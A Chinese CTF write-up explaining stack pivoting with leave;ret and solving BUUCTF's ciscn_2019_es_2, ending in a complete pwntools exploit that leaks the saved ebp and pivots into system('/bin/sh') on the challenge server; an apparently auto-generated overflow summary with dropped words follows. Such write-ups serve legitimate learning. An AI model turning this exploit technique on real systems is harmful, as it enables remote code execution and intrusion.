PWN——栈迁移

什么是栈迁移?

简单一句话就是控制esp指针的指向。

实现指令:
eave ; ret 指令

Leave等价于:

movl %ebp %esp    #  esp = ebp

popl %ebp         #  pbp = oldebp

其实就是在做栈恢复上一次栈空间的操作。但这过程中能恢复到上次的栈的关键数据为当前ebp指向地址上值(oldebp),当我们通过溢出覆盖原本的oldebp值时,然后将leave ; ret 程序段地址放在返回地址上,那么就可以实现将esp迁移至我们想要的地方(取决于oldebp上的覆盖的地址,注意这里会抬高4字节,64位抬8字节)。

第一次leave
movl %ebp %esp------------1
popl %ebp-----------------2--3

第一次ret:因为esp还是指向leave ; ret 地址,所有再一次执行leave ; ret

第二次leave
movl %ebp %esp------------4
popl %ebp-----------------5--6

第二次ret:将此时esp指向的地址上的数据作为ret目标地址,即可是system地址,后面可以作为system的参数。

例题

BUUCTF-PWN-ciscn_2019_es_2

checksec

32位开启堆栈不可执行

ida打开反汇编:

无法直接利用只是输出flag字符,但我们可以直接用可以得到system()函数地址。

s读入0x30字节数据,但s从ebp-0x28开始,存在溢出但只能溢出8字节,刚好覆盖到返回地址。
无法直接打入我们的POP链,此时用栈迁移,但栈迁移需要知道一个可控变脸的地址,s可控,但地址不知。
这里看到下面的printf()函数,printf函数在输出时识别‘0’时截断,但当我们输入0x28个'a'字符时已经将s填满,无法在后米娜自动添‘o’,所有在输出时会连带oldebp输出,通过oldebp以推算出s的地址(结合本地调试)。从而实现栈迁移。
在看程序,有两次输入,第一次用海泄露oldebp,第二次用来写入带栈迁移的pop链。

泄露oldebp地址:

payload1 = b'a'*0x27
p.sendlineafter('name?\n',payload1)
p.recvuntil('\n')
ebp=u32(p.recv(4))

payload1 = b'a'*0x27,这里为什么时0x27,因为在p.sendline()时会在后面加‘\n’,如果这里位0x28就会溢出波坏oldebp,

计算oldebp和s的相对地址

可以看到oldebp和s相差0x38
则有s_addr = oldebp-0x38

先利用第二给read() 将pop打入:
打入后栈如下

程序会进行栈迁移,执行两次leave_ret后程序执行system("/bin/sh),获得shell。

完成exp:

from pwn import *

context.log_level='debug'

p=remote('node4.buuoj.cn',25994)
#p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')

sys_addr=0x8048400
leave_ret=0x080484b8

payload1 = b'a'*0x27
p.sendlineafter('name?\n',payload1)
p.recvuntil('\n')
oldebp = u32(p.recv(4))

payload2 = b'a'*4+p32(sys_addr)+p32(0)+p32(oldebp-0x28)+b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\0')
payload2+=p32(oldebp-0x38)+p32(leave_ret)
p.sendlineafter('\n',payload2)

p.interactive()

 原创:PWN——栈迁移 - 松下之约 (lusong.store)

PWN是一种以攻破计算机系统中的漏洞为目的的竞赛类型,参赛者需要利用漏洞进行攻击并获取系统权限。在ctfshow PWN中,溢出是一种常见的攻击方式。 根据提供的引用,我了解到溢出是一种通过向程序输入过长的数据导致数据溢出的一种攻击手段。是一种数据结构,用于存储程序的局部变量和函数调用的返回地址等信息。当程序接收到超出空间大小的数据时,溢出的数据会覆盖到上的其他数据,从而可能改变程序的执行流程。 根据引用,在ctfshow PWN中,参赛者可以利用溢出漏洞来控制程序的执行流程。通过向程序输入特制的数据,可以覆盖控制流中的返回地址,使程序跳转到攻击者精心构造的代码,从而达到获取系统权限的目的。 具体来说,参赛者可以通过向程序发送超出预期的数据,覆盖上的返回地址,使其指向攻击者准备好的恶意代码,从而实现溢出攻击。攻击者可以利用此漏洞来执行任意代码,包括获取系统权限、执行恶意操作等。 引用和引用提供了一些示例代码,演示了如何利用溢出漏洞进行攻击。这些代码使用Python的pwn库来与目标程序进行交互,并通过构造特制的payload来触发溢出漏洞,最终实现控制程序执行流程的目的。 需要注意的是,溢出是一种非常危险的漏洞,合法的程序设计应该避免出现此类问题。在实际应用中,为了防止溢出攻击,开发者需要加强输入验证和数据处理等安全机制。 总结起来,ctfshow PWN溢出是一种通过向程序输入过长数据导致溢出的攻击方式,在该竞赛中常用于获取系统权限和执行恶意操作。攻击者可以利用漏洞覆盖返回地址,使程序执行恶意代码。然而,溢出是一种危险的漏洞,合法的程序设计应该避免此类问题。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [ctfshow pwn4](https://blog.csdn.net/qq_39980610/article/details/126461902)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [ctfshow pwn5](https://blog.csdn.net/qq_39980610/article/details/126462163)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值